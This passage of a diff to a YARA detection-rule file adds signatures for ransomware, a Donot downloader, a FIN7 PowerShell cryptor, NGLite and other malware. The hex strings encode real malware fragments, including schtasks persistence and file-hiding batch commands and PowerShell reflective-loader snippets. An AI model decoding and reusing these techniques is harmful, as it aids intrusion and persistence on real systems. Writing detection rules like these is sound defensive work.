+		modified = "2023-11-22"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1276471822217891840"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-26/Heinote_June_2020-1.yar#L1-L29"
+		license_url = "N/A"
+		logic_hash = "679f1113c9c770910d18da395b13aaef009ecdde91a0c11f931d0d7e63ed122a"
+		score = 75
+		quality = 61
+		tags = "FILE"
+		hash1 = "e0a34b9c420ddd930b3f89c13c3f564907dd948e88f668a0fe55ce506220bd73"
+
+	strings:
+		$s1 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 53 45 54 5d 2d 2d 2d 2d }
+		$s2 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 47 45 54 5d 2d 2d 2d 2d }
+		$s3 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 47 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 47 65 74 4d 61 69 6e 50 61 67 65 20 6c 70 73 7a 75 72 6c 20 3d 20 25 73 }
+		$s4 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 73 74 61 74 75 73 20 3d 20 25 64 2f 25 64 20 67 65 74 20 3d 20 25 73 20 73 65 74 20 3d 20 25 73 }
+		$s5 = { 44 65 62 75 67 49 6e 66 6f }
+		$s6 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 2d 2d 2d 2d }
+		$s7 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 66 61 76 20 72 65 74 20 3d 20 25 64 0a }
+		$s8 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 69 20 3d 20 25 64 20 6c 70 73 7a 4d 61 67 69 63 20 3d 20 25 73 0a }
+		$s9 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 53 45 54 43 4f 4f 4b 49 45 48 41 4f 31 32 33 5d 20 6f 6b 20 6f 6b 0a }
+		$s10 = { 75 73 65 72 6e 61 6d 65 3d 22 25 73 22 2c 20 72 65 61 6c 6d 3d 22 25 73 22 2c 20 6e 6f 6e 63 65 3d 22 25 73 22 2c 20 75 72 69 3d 22 25 73 22 2c 20 63 6e 6f 6e 63 65 3d 22 25 73 22 2c 20 6e 63 3d 25 30 38 78 2c 20 71 6f 70 3d 25 73 2c 20 72 65 73 70 6f 6e 73 65 3d 22 25 73 22 }
+		$s11 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x" fullword ascii
+		$s12 = { 25 73 20 63 6f 6f 6b 69 65 20 25 73 3d 22 25 73 22 20 66 6f 72 20 64 6f 6d 61 69 6e 20 25 73 2c 20 70 61 74 68 20 25 73 2c 20 65 78 70 69 72 65 20 25 49 36 34 64 0a }
+		$s13 = "User-Agent: %s" fullword ascii
+		$s14 = "Send failure: %s" fullword ascii
+		$s15 = "ftp://%s:%s@%s" fullword ascii
+		$s16 = "Host: %s%s%s" fullword ascii
+		$s17 = "Referer: %s" fullword ascii
+
+	condition:
+		uint16(0)==0x4D5A and filesize <450KB and 14 of them
+}
+rule ARKBIRD_SOLG_RAN_Fuxsocy_May_2021_1 : FILE
+{
+	meta:
+		description = "Detect FuxSocy ransomware"
+		author = "Arkbird_SOLG"
+		id = "2420c2fa-bc94-51a6-87ab-4e8d226fdd23"
+		date = "2020-05-09"
+		modified = "2021-05-09"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-09/FuxSocy/RAN_FuxSocy_May_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "ab34f95d2b12bdf2d362538e880301542c3308fff427cfb5ee59e9dca89ec033"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "0865bd192e226da2c40b8bdd33a65ef41ca255a0031b3b36ab6a657ba6675d5e"
-		hash2 = "14613fa0b6eea4cd9205ffbe1c462178c94298707d19f78a27eec3dece8765f0"
-		tlp = "white"
-		adversary = "TrickBot Gang"
+		hash1 = "d786355c1b3dc741103873aed46d8ffa3430d113a27482f37f3ffc7c978747f6"
+		hash2 = "43bbfb3389deb3846bba19a8ab2e9c8fd9b581720962b8170d4a63ad816b5804"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$s1 = { 8b 4d 08 0f b6 02 0f b6 31 2b f0 75 18 0f b6 71 01 0f b6 42 01 2b f0 75 0c 0f b6 71 02 0f b6 42 02 2b f0 74 10 33 c9 85 f6 0f 9f c1 8d 0c 4d ff ff ff ff eb 1a 0f b6 49 03 0f b6 42 03 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 8b c1 eb 56 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 0c 0f b6 51 01 0f b6 46 01 2b d0 74 06 33 c9 85 d2 eb b4 0f b6 49 02 0f b6 46 02 eb be 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 e0 0f b6 49 01 0f b6 46 01 eb a4 8b 45 08 0f b6 08 8b 45 0c 0f b6 00 eb 96 33 c0 5e 5b 5d c3 8b ff }
-		$s2 = { 8b 75 10 83 e0 3f 8b 5d 18 6b c8 38 c1 fa 06 89 75 a0 89 5d c4 89 55 b0 8b 04 95 [2] 03 10 89 4d bc 8b 44 08 18 89 45 9c 8b 45 14 03 c6 89 45 ac ff 15 ?? 40 03 10 80 7b 14 00 89 45 90 75 07 8b cb e8 [2] ff ff 8b 43 0c 8b 75 08 8b fe 8b 40 08 89 45 98 33 c0 ab ab ab 8b 45 a0 8b d0 89 55 d0 3b 45 ac 0f 83 14 03 00 00 8b 7d bc 33 db 89 5d b8 81 7d 98 e9 fd 00 00 8a 02 88 45 cf 8b 45 b0 89 5d c0 c7 45 d4 01 00 00 00 8b 0c 85 }
-		$s3 = { 53 53 40 6a 05 89 45 d0 8d 45 d8 50 ff 75 d4 8d 45 c0 50 53 ff 75 90 e8 [2] ff ff 83 c4 20 89 45 c8 85 c0 0f 84 00 01 00 00 53 8d 4d a4 51 50 8d 45 d8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 dd 00 00 00 8b 55 d0 8b ca 2b 4d a0 8b 46 08 03 c1 89 45 b8 89 46 04 8b 45 c8 39 45 a4 0f 82 c6 00 00 00 80 7d cf 0a 75 3c 6a 0d 58 53 66 89 45 a8 8d 45 a4 50 6a 01 8d 45 a8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 95 00 00 00 83 7d a4 01 0f 82 93 00 00 00 ff 46 08 ff 46 04 8b 46 04 8b 55 d0 89 45 b8 3b 55 ac 0f 82 6f fd ff ff eb 79 85 }
-		$s4 = { ba 08 00 00 00 c1 e2 00 8b 45 f0 8b 4c 10 78 03 4d fc 89 4d f8 ba 08 00 00 00 6b c2 0c 8b 4d f0 83 7c 01 78 00 74 09 c7 45 e8 0c 00 00 00 eb 07 c7 45 e8 01 00 00 00 8b 55 e8 89 55 e4 8b 45 e4 8b 4d f0 8b 54 c1 78 89 55 dc 8b 45 e4 8b 4d f0 8b 54 c1 7c 89 55 d8 8b 45 dc 03 45 fc 89 45 d4 8d 4d c8 51 6a 04 8b 55 d8 52 8b 45 d4 50 ff 15 04 40 03 10 8b 4d f8 83 79 0c 00 0f 84 cf }
-		$s5 = { 83 20 00 33 c9 21 4d e8 53 8b 5d 08 57 33 ff 89 4d e4 89 7d e0 8b 03 85 c0 74 56 8d 4d fc 66 c7 45 fc 2a 3f 51 50 c6 45 fe 00 e8 12 55 00 00 59 59 85 c0 75 1a 8d 45 e0 50 33 c0 50 50 ff 33 e8 13 01 00 00 8b f0 83 c4 10 85 f6 75 74 eb 13 8d 4d e0 51 50 ff 33 e8 ad 01 00 00 83 c4 0c 85 c0 75 1d 83 c3 04 8b 03 }
+		$seq1 = { b8 48 14 00 00 e8 b8 83 00 00 53 55 56 8d 44 24 48 8b e9 50 55 89 54 24 14 33 f6 ff 15 84 02 41 00 8b d8 85 db 0f 84 fa 00 00 00 57 8b cb e8 2b 09 00 00 8b f8 85 ff 0f 84 e7 00 00 00 57 53 56 55 ff 15 8c 02 41 00 8b 1d 78 02 41 00 8d 44 24 18 50 8d 44 24 18 50 68 cc 14 48 00 57 89 74 24 24 89 74 24 28 ff d3 83 7c 24 18 04 0f 82 ab 00 00 00 8b 44 24 10 8b 4c 24 14 c7 44 24 1c 00 15 48 00 c7 44 24 20 14 15 48 00 c7 44 24 24 30 15 48 00 c7 44 24 28 48 15 48 00 c7 44 24 2c 60 15 48 00 c7 44 24 30 80 15 48 00 c7 44 24 34 a0 15 48 00 c7 44 24 38 c0 15 48 00 c7 44 24 3c e0 15 48 00 c7 44 24 40 fc 15 48 00 c7 44 24 44 14 16 48 00 c7 44 24 48 38 16 48 00 ff 74 84 1c 0f b7 41 02 50 0f b7 01 50 8d 44 24 60 68 54 16 48 00 50 ff 15 64 02 41 00 83 c4 14 8d 44 24 50 50 8d 44 24 14 50 8d 44 24 5c 50 57 ff d3 85 c0 74 0d 8b 4c 24 10 33 d2 e8 47 0a 00 00 8b f0 8b cf e8 c9 08 00 00 5f 8b c6 5e 5d 5b 81 c4 48 14 00 00 }
+		$seq2 = { 8d 44 24 50 50 8d 44 24 4c 50 8d 44 24 2c 50 55 ff 15 ec 00 41 00 8b 44 24 14 8b 74 24 18 ff 74 24 68 88 87 57 01 08 00 66 a1 80 4d 41 00 [10] 88 9f 54 01 08 00 c6 87 63 01 08 00 10 89 b7 58 01 08 00 66 89 87 5d 01 08 00 ff 15 6c 00 41 00 0f b6 97 63 01 08 00 03 c0 66 89 87 55 01 08 00 8b 44 24 20 8d 8f 64 01 08 00 88 87 5c 01 08 00 e8 14 2b 00 00 8b 44 24 14 0f b6 c8 0f b7 87 55 01 08 00 83 c1 03 8d 0c c8 89 8f 4c 01 08 00 e8 2e 3a 00 00 8b c8 89 8f 48 01 08 00 85 c9 0f 84 0f 01 00 00 8b 44 24 28 89 41 04 8b 8f 48 01 08 00 8b 44 24 24 89 01 8b 8f 48 01 08 00 8b 44 24 4c 89 41 0c 8b 8f 48 01 08 00 8b 44 24 48 89 41 08 8b 8f 48 01 08 00 8b 44 24 54 89 41 14 8b 8f 48 01 08 00 8b 44 24 50 89 41 10 0f b7 87 55 01 08 00 50 8b 87 48 01 08 00 ff 74 24 6c 83 c0 18 50 e8 b4 b5 00 00 8b 4c 24 6c 33 d2 e8 bd 3b 00 00 8b 4c 24 70 33 d2 89 47 08 e8 af 3b 00 00 0f b6 97 63 01 08 00 89 47 0c 8b 44 24 78 89 87 28 02 08 00 8b 44 24 44 89 47 04 8d 87 44 00 08 00 50 8d 8f 64 01 08 00 89 2f e8 4d 24 00 00 89 b7 18 02 08 00 8b 87 c5 01 08 00 f7 a7 58 01 08 00 8b c8 0f b6 87 5c 01 08 00 8b f2 99 83 c4 10 ff b7 28 02 08 00 03 c8 13 f2 03 0d 80 4d 41 00 13 35 84 4d 41 00 89 8f 1c 02 08 00 89 b7 20 02 08 00 ff 15 c4 00 41 00 53 57 ff 74 24 44 55 ff 15 e8 00 41 00 }
+		$seq3 = { 57 68 ff 01 0f 00 ff 75 08 8b fa 51 32 db ff 15 0c 00 41 00 8b f0 85 f6 74 76 32 ff eb 52 84 ff 75 65 33 c0 50 50 50 50 50 50 50 6a ff 6a 04 6a ff 56 ff 15 10 00 41 00 8b 45 c0 83 f8 01 74 2c 76 2e 83 f8 03 76 1a 83 f8 04 75 24 8d 45 e0 50 6a 01 56 ff 15 18 00 41 00 }
+		$seq4 = { 6a ff 8d 45 fc 50 8d 45 08 50 8d 45 f8 50 ff 33 33 ff 89 7d f8 89 7d 08 89 7d fc ff 15 c8 00 41 00 85 c0 8b 45 08 0f 95 c1 85 c0 74 59 56 }
+		$seq5 = { 8b 45 08 56 ff 70 08 ff 15 dc 00 41 00 8b ce e8 af 2e 00 00 33 ff 57 ff 75 08 57 ff 33 ff 15 e4 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 4 of them
+		uint16(0)==0x5a4d and filesize >30KB and 3 of ($seq*)
 }
-rule ARKBIRD_SOLG_ATM_Dispcashbr_May_2021_1 : FILE
+rule ARKBIRD_SOLG_APT_Donot_Downloader_May_2021_1 : FILE
 {
 	meta:
-		description = "Detect the DispCashBR ATM malware"
+		description = "Detect the trojan downloader used by Donot group"
 		author = "Arkbird_SOLG"
-		id = "629261d8-242c-580d-aa4d-4b313c77edef"
-		date = "2020-05-14"
-		modified = "2021-05-14"
+		id = "251a809e-9e36-5c46-955f-006531bd9619"
+		date = "2020-05-09"
+		modified = "2021-05-09"
 		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-14/DispCashBR/ATM_DispCashBR_May_2021_1.yara#L1-L18"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-09/Donot/APT_Donot_Downloader_May_2021_1.yara#L1-L20"
 		license_url = "N/A"
-		logic_hash = "26f641a266c1f187d834a05b327c13ddee93747e182a5458e4ec3cb1f23f5f47"
+		logic_hash = "df64ab97b74935ce8b73c3854eb81fa1dbd4e59b1e27c43ae9c85b90aaaef6f7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "432f732a4ecbb86cb3dedbfa881f2733d20cbcc5958ead52823bf0967c133175"
-		hash2 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036"
+		hash1 = "28aa296bda12f0184564c5f6b46e679f07255aa8df58b861ea17910cdcaa674a"
+		hash2 = "03730cdc23a3d10c8752ad1464ff2e68a64c69f8310b0ceea4d52b1db0215dfc"
+		hash3 = "edd590c343570f7576aca83da58967e058585c6ba861682dca2fc987c713ee3a"
+		tlp = "White"
+		adversary = "Donot"
+
+	strings:
+		$seq1 = { 65 63 68 6f 20 6f 66 66 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 64 65 6c 20 2f 66 20 25 73 20 0a 20 53 45 54 20 2f 41 20 25 25 43 4f 4d 50 55 54 45 52 4e 41 4d 45 25 25 20 0a 20 53 45 54 20 2f 41 20 52 41 4e 44 3d 25 25 52 41 4e 44 4f 4d 25 25 20 31 30 30 30 30 20 2b 20 32 20 0a 20 65 63 68 6f 20 25 25 43 4f 4d 50 55 54 45 52 4e 41 4d 45 25 25 2d 25 25 52 41 4e 44 25 25 20 3e 3e 20 25 73 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 4d 6f 62 55 70 64 61 74 65 20 2f 66 20 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 54 61 73 6b 55 70 64 61 74 65 20 2f 66 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 4d 61 63 68 69 6e 65 43 6f 72 65 20 2f 66 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 6d 69 6e 75 74 65 20 2f 6d 6f 20 32 30 20 2f 66 20 2f 74 6e 20 54 61 73 6b 55 70 64 61 74 65 20 2f 74 72 20 25 73 20 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 6d 69 6e 75 74 65 20 2f 6d 6f 20 31 30 20 2f 66 20 2f 74 6e 20 4d 61 63 68 69 6e 65 43 6f 72 65 20 2f 74 72 20 25 73 20 0a 20 6d 6f 76 65 20 25 25 41 50 50 44 41 54 41 25 }
+		$seq2 = { c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 00 00 00 00 c7 04 24 ?? 42 [2] e8 ?? 01 00 00 83 ec 14 [0-3] c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 [2-5] 24 04 [0-3] 89 04 24 e8 ?? 01 00 00 83 ec 18 89 [1-9] c7 44 24 04 ?? 43 [2] c7 04 24 ?? 61 [2] e8 ?? 08 00 00 }
+		$s1 = "VirtualQuery failed for %d bytes at address %p" fullword ascii
+		$s2 = { 25 73 5c [1-14] 2e 62 61 74 }
+		$s3 = { 25 73 5c [1-14] 25 }
+
+	condition:
+		uint16(0)==0x5a4d and filesize >10KB and all of ($seq*) and 2 of ($s*)
+}
+rule ARKBIRD_SOLG_RAN_ELF_Revil_Jun_2021_1 : FILE
+{
+	meta:
+		description = "Detect the ELF version of REvil ransomware"
+		author = "Arkbird_SOLG"
+		id = "b4b9d60e-a352-5045-8be3-e9a08d70ef6b"
+		date = "2021-06-28"
+		modified = "2021-06-29"
+		reference = "https://twitter.com/jaimeblascob/status/1409603887871500288"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-28/REvil/RAN_ELF_REvil_Jun_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "054bdb8362fdea2dc914b11387f6c67e35932acb73ba2b133ca29f69549914ba"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "3d375d0ead2b63168de86ca2649360d9dcff75b3e0ffa2cf1e50816ec92b3b7d"
+		hash2 = "d6762eff16452434ac1acc127f082906cc1ae5b0ff026d0d4fe725711db47763"
+		hash3 = "796800face046765bd79f267c56a6c93ee2800b76d7f38ad96e5acb92599fcd4"
+		hash4 = "ea1872b2835128e3cb49a0bc27e4727ca33c4e6eba1e80422db19b505f965bc4"
+		tlp = "White"
+		adversary = "RAAS"
+
+	strings:
+		$seq1 = { 55 48 89 e5 48 83 c4 80 bf 04 20 00 00 e8 69 d5 ff ff 48 89 45 f8 ?? 8b 05 [2] 31 00 [0-4] 48 8b 3d [2] 31 00 48 8b 35 [2] 31 00 48 8b 0d [2] 31 00 4c 8b 0d [2] 31 00 4c 8b [2] 13 31 00 48 8b 15 ?? 13 31 00 48 8b 45 f8 4c 89 ?? 24 18 48 89 7c 24 10 48 89 74 24 08 48 89 0c 24 ?? 89 }
+		$seq2 = { 48 89 e5 bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff 8b 05 [2] 20 00 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff }
+		$seq3 = { 48 83 ec 20 c7 45 fc 00 00 00 00 eb 64 8b 45 fc 48 8b 14 c5 48 92 61 00 48 8b 05 ?? bd 20 00 48 89 c6 bf 40 93 61 00 b8 00 00 00 00 e8 ?? 3f ff ff 8b 45 fc 48 8b 04 c5 48 92 61 00 48 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 ?? 3d ff ff be [2] 41 00 bf 40 93 61 00 e8 ?? 3e ff ff 48 89 45 f0 48 8b 45 f0 48 89 c7 e8 ?? 3d ff ff 83 45 fc 01 83 7d fc 00 74 96 48 8b 05 [2] 20 00 48 89 c7 e8 ?? 3c ff ff 48 8b 05 [2] 20 00 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 e8 48 8b 45 e8 48 89 c7 e8 ?? 3d ff ff c9 c3 55 48 89 e5 48 83 ec 20 48 89 7d e8 48 8b 45 e8 48 89 c7 e8 ?? 3c ff ff 89 c2 8b 05 ?? d0 30 00 01 d0 83 c0 01 89 c7 e8 ?? 91 ff ff 48 89 45 f8 48 8b 55 e8 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3c ff ff 48 8b 45 f8 48 c7 c1 ff ff ff ff 48 89 c2 b8 00 00 00 00 48 89 d7 f2 ae 48 89 c8 48 f7 d0 48 8d 50 ff 48 8b 45 f8 48 01 d0 66 c7 00 2f 00 48 8b 15 ?? cf 30 00 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3e ff ff 48 8b 45 f8 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 f0 48 83 7d f0 00 }
+		$seq4 = { 48 89 e5 48 83 ec 10 c7 45 fc 58 00 00 00 8b 45 fc 48 8d 55 f0 48 89 c6 bf 00 a5 71 00 e8 [2] 00 00 48 89 05 ?? 0b 31 00 48 8d 45 f0 48 89 c2 be 20 00 00 00 bf c0 a4 71 00 e8 [2] 00 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 b7 fd ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 80 fe ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 ?? 0a 31 00 48 c7 05 ?? 0a 31 00 [2] 41 00 e8 ?? f6 ff ff e8 f1 f7 ff ff b8 01 00 00 00 }
+
+	condition:
+		uint32(0)==0x464c457f and filesize >50KB and 3 of ($seq*)
+}
+rule ARKBIRD_SOLG_CRIM_FIN7_PS_Cryptor_Jun_2021_1 : FILE
+{
+	meta:
+		description = "Detect PS Cryptor used by FIN7 for Diceloader and Carbanak"
+		author = "Arkbird_SOLG"
+		id = "26361500-c33e-59c8-a53f-a881966c71a7"
+		date = "2021-06-07"
+		modified = "2021-06-07"
+		reference = "https://twitter.com/z0ul_/status/1401795117678219267"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-07/FIN7/CRIM_FIN7_PS_Cryptor_Jun_2021_1.yara#L1-L28"
+		license_url = "N/A"
+		logic_hash = "d7eadaa6dec75ecfa2f03860f41b39dbe9e7ffc9e6ad743497586356301ef67c"
+		score = 75
+		quality = 55
+		tags = "FILE"
+		hash1 = "944e47dc9da19b753beba173214cdebea2aa3651c402dfacae2dde82c4fdaa43"
+		hash2 = "fada67a9f89429d6c191cd6fef5d75cd7b49eebaa2e40d1dd1f9884b3038a23b"
+		hash3 = "0f083aac77fb734a8e81fb9dff218f0414ac6c4c9a23b2832837fbc2c7e2031d"
+		hash4 = "dc9442838b464e96281a32705c9b5958e4f45dbefd1ef4a885fac9898af0a4b7"
+		hash5 = "fad295cf65552061dc553c21d89d8bbd0b02783c01f5e696232df6a14381c206"
 		tlp = "White"
+		adversary = "FIN7"
+
+	strings:
+		$s1 = { 3d 4e 65 77 2d 4f 62 6a 65 63 74 20 49 4f 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 2e 44 65 66 6c 61 74 65 53 74 72 65 61 6d 28 5b 49 4f 2e 4d 65 6d 6f 72 79 53 74 72 65 61 6d 5d 5b 42 79 74 65 5b 5d [6-12] 5b 49 4f 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 4d 6f 64 65 5d 3a 3a 44 65 63 6f 6d 70 72 65 73 73 29 }
+		$s2 = { 40 28 5b 49 6e 74 50 74 72 5d 2c 5b 55 49 6e 74 33 32 5d 2c 5b 55 49 6e 74 33 32 5d 2c 5b 55 49 6e 74 33 32 5d 29 28 5b 49 6e 74 50 74 72 5d 29 }
+		$s3 = { 2c 20 24 6e 75 6c 6c 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 41 6e 79 2c 20 40 28 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 29 2e 47 65 74 54 79 70 65 28 29 2c 20 5b 73 74 72 69 6e 67 5d 29 2c 20 24 6e 75 6c 6c }
+		$s4 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 28 }
+		$s5 = { 2c 20 24 6e 75 6c 6c 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 41 6e 79 2c 20 40 28 5b 73 74 72 69 6e 67 5d 29 2c 20 24 6e 75 6c 6c 29 }
+		$s6 = { 5b 41 70 70 44 6f 6d 61 69 6e 5d 3a 3a 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 2e 47 65 74 41 73 73 65 6d 62 6c 69 65 73 28 29 20 7c 20 57 68 65 72 65 2d 4f 62 6a 65 63 74 20 7b 20 24 5f 2e 47 6c 6f 62 61 6c 41 73 73 65 6d 62 6c 79 43 61 63 68 65 20 2d 41 6e 64 20 24 5f 2e 4c 6f 63 61 74 69 6f 6e 2e 53 70 6c 69 74 28 27 5c 5c 27 29 5b 2d 31 5d 2e 45 71 75 61 6c 73 28 28 }
+		$s7 = { 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 53 74 61 6e 64 61 72 64 2c }
+		$s8 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 5d 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 28 24 }
+		$s9 = { 3d 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 28 24 }
+		$s10 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 43 6f 70 79 28 24 }
+		$s11 = { 3d 5b 49 6e 74 50 74 72 5d 3a 3a 5a 65 72 6f }
+
+	condition:
+		filesize >40KB and 8 of ($s*)
+}
+rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_1 : FILE
+{
+	meta:
+		description = "Detect NGLite backdoor (version A)"
+		author = "Arkbird_SOLG"
+		id = "cf2845f3-1176-5197-9d05-f123b0f23c75"
+		date = "2021-11-09"
+		modified = "2021-11-09"
+		reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "ebafc52da76b9a960ee3c2c99955fb5dcb4acff2b7a0d7fad714bfc17617331a"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "7e4038e18b5104683d2a33650d8c02a6a89badf30ca9174576bf0aff08c03e72"
+		hash2 = "3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd"
+		tlp = "white"
+		adversary = "-"
+
+	strings:
